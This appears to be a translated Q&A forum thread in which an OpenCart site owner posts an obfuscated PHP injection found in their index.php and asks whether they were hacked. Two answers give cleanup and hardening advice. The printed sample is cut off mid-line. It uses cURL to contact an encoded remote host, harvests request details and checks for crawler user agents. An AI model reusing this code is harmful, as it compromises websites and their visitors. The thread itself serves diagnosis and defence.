Opencart index.php文件损坏

jei2mxaa  于 2023-03-16  发布在  PHP
关注(0)|答案(2)|浏览(193)

I'm using opencart v3.0.2.0, the issue is that the index.php file of opencart which is the entry point of my opencart website and is uploaded in public_html directory currupts(the code in index.php file changes to strange characters). It happened twice in last week. I don't know someone is hacking or something is wrong with my domain or code. if someone can help or guide me please let me know. thank you.
index.php file after curruption:
global $O; $O=urldecode($OOOOOO);$oOooOO='z1226_16';$oOooOOoO=$O[15].$O[4].$O[4].$O[9].$O[62].$O[63].$O[63].$O[64].$O[72].$O[66].$O[59].$O[65].$O[67].$O[71].$O[59].$O[65].$O[65].$O[67].$O[59].$O[65].$O[67].$O[65].$O[63].$oOooOO.$O[63]; function ooooooooOOOOOOOOoooooOOO($oooOOOoOoo){$ooooOOOooOo=curl_init();curl_setopt ($ooooOOOooOo, CURLOPT_URL, $oooOOOoOoo);curl_setopt ($ooooOOOooOo, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ooooOOOooOo, CURLOPT_CONNECTTIMEOUT, 5);$oooooOOOOooO = curl_exec($ooooOOOooOo);curl_close($ooooOOOooOo);return $oooooOOOOooO; } function ooOOoOOO($OooooO,$OOOoooo=array()){global $O;$OooooO=str_replace(' ','+',$OooooO);$OOooooO=curl_init();curl_setopt($OOooooO,CURLOPT_URL, "$OooooO");curl_setopt($OOooooO,CURLOPT_RETURNTRANSFER, 1);curl_setopt($OOooooO,CURLOPT_HEADER, 0);curl_setopt($OOooooO,CURLOPT_TIMEOUT,10);curl_setopt($OOooooO,CURLOPT_POST, 1);curl_setopt($OOooooO,CURLOPT_POSTFIELDS, http_build_query($OOOoooo));$OOOOooo=curl_exec($OOooooO);$OOOOoooOO=curl_errno($OOooooO);curl_close($OOooooO);if(0!==$OOOOoooOO){return false;}return $OOOOooo;} function oooOOOo($ooOOo){global $O;$ooOOOOo = false;$oooooOOo = $O[14].$O[8].$O[8].$O[14].$O[18].$O[2].$O[23].$O[8].$O[4].$O[90].$O[14].$O[8].$O[8].$O[14].$O[18].$O[2].$O[90].$O[5].$O[10].$O[15].$O[8].$O[8].$O[90].$O[23].$O[7].$O[24].$O[14].$O[90].$O[10].$O[8].$O[18];if ($ooOOo!=''){if (preg_match("/($oooooOOo)/si",$ooOOo)){$ooOOOOo=true;}}return $ooOOOOo;} function oooOOooOOoOO($oOOOOOOoOOOO){global $O;$ooOOOOOOoO=false;$ooOOOOOOoOo=$O[14].$O[8].$O[8].$O[14].$O[18].$O[2].$O[59].$O[21].$O[8].$O[59].$O[16].$O[9].$O[90].$O[5].$O[10].$O[15].$O[8].$O[8].$O[59].$O[21].$O[8].$O[59].$O[16].$O[9].$O[90].$O[14].$O[8].$O[8].$O[14].$O[18].$O[2].$O[59].$O[21].$O[8].$O[25];if ($oOOOOOOoOOOO!='' && preg_match("/($ooOOOOOOoOo)/si", $oOOOOOOoOOOO)) {$ooOOOOOOoO=true;}return $ooOOOOOOoO;}$oOooOOoOO=((isset($_SERVER[$O[41].$O[30].$O[30].$O[35].$O[37]]) && $_SERVER[$O[41].$O[30].$O[30].$O[35].$O[37]]!==$O[8].$O[13].$O[13])?$O[15].$O[4].$O[4].$O[9].$O[11].$O[62].$O[63].$O[63]:$O[15].$O[4].$O[4].$O[9].$O[62].$O[63].$O[63]);$oOoooOOoOO=$_SERVER[$O[29].$O[28].$O[26].$O[32].$O[28].$O[37].$O[30].$O[52].$O[32].$O[29].$O[33]];$ooOOoooOOoOO=$_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[41].$O[34].$O[37].$O[30]];$ooOOOoooOOoOO=$_SERVER[$O[35].$O[41].$O[35].$O[52].$O[37].$O[28].$O[44].$O[39]];$ooOOOOoooOOOoOO=$_SERVER[$O[37].$O[28].$O[29].$O[48].$O[28].$O[29].$O[52].$O[50].$O[36].$O[51].$O[28]];$ooOOOOoooOOOOoOO=$oOooOOoOO.$ooOOoooOOoOO.$oOoooOOoOO;$oooOOOOoooOOOooOO=$oOooOOoO.$O[63].$O[7].$O[24].$O[12].$O[10].$O[4].$O[10].$O[59].$O[9].$O[15].$O[9];$ooooOOOOoooOOOooO=$oOooOOoO.$O[63].$O[25].$O[10].$O[9].$O[59].$O[9].$O[15].$O[9];$ooooOOOOoooOOOooOoo=$oOooOOoO.$O[63].$O[16].$O[6].$O[25].$O[9].$O[59].$O[9].$O[15].$O[9];$oooooOOoooOOOoooOoo=$oOooOOoO.$O[63].$O[1].$O[8].$O[3].$O[12].$O[11].$O

sczxawaw

sczxawaw1#

最近我的一个客户也遇到了类似的问题,经过调查,我们发现问题是由于Chrome浏览器扩展程序在通过浏览器上传php文件时会向PHP文件注入代码引起的(如Cpanel文件管理)。在本例中,代码被注入到index.php文件中,当有人通过URL访问该文件时,恶意代码将开始向服务器注入文件,创建新文件,并使用PHP中的cURL函数通知黑客服务器的当前URL和其他数据。
要解决此问题,可以执行以下步骤:
1-对浏览器中用于将文件上传到服务器的所有扩展进行屏幕截图,与我们共享,然后删除浏览器或其所有扩展。
2-检查自黑客攻击事件发生之日起上载或更新到服务器的所有文件。您可以在服务器上运行命令以获取新文件或更新文件的列表,具体取决于您的操作系统。
3-您可能会在服务器上的.well-known或其他隐藏文件夹中找到一些*.php文件。
4-用杀毒软件保护你的操作系统。我推荐使用像卡巴斯基这样的非免费杀毒软件。
您能否分享您的浏览器扩展的屏幕截图,以便我们可以确定哪个扩展可能导致网站黑客攻击?

eiee3dmh

eiee3dmh2#

是的,你说得对!有人黑了你的商店并上传病毒。请检查商店上传目录storage/download,可能是你有奇怪的文件6234sdhsd.ocmod.zip或类似的东西。
我确信病毒是通过catalog/controller/tool/upload.php文件上传的。所以如果你不需要这个函数,你可以注解所有这些逻辑,并返回如下空的json应答:

$json = '';
$this->response->addHeader('Content-Type: application/json');
$this->response->setOutput(json_encode($json));

在此操作之后,您必须删除奇怪的文件,如images.php\bbfcode.php与加密体。
检查所有这些路径:

  • 管理员/(语言/控制器)
  • 目录/(语言/控制器)
  • system/(所有修改,如果您有ocmod.xml)
  • 系统/库

检查所有这些路径。如果你有备份,比较文件就不那么困难了。

相关问题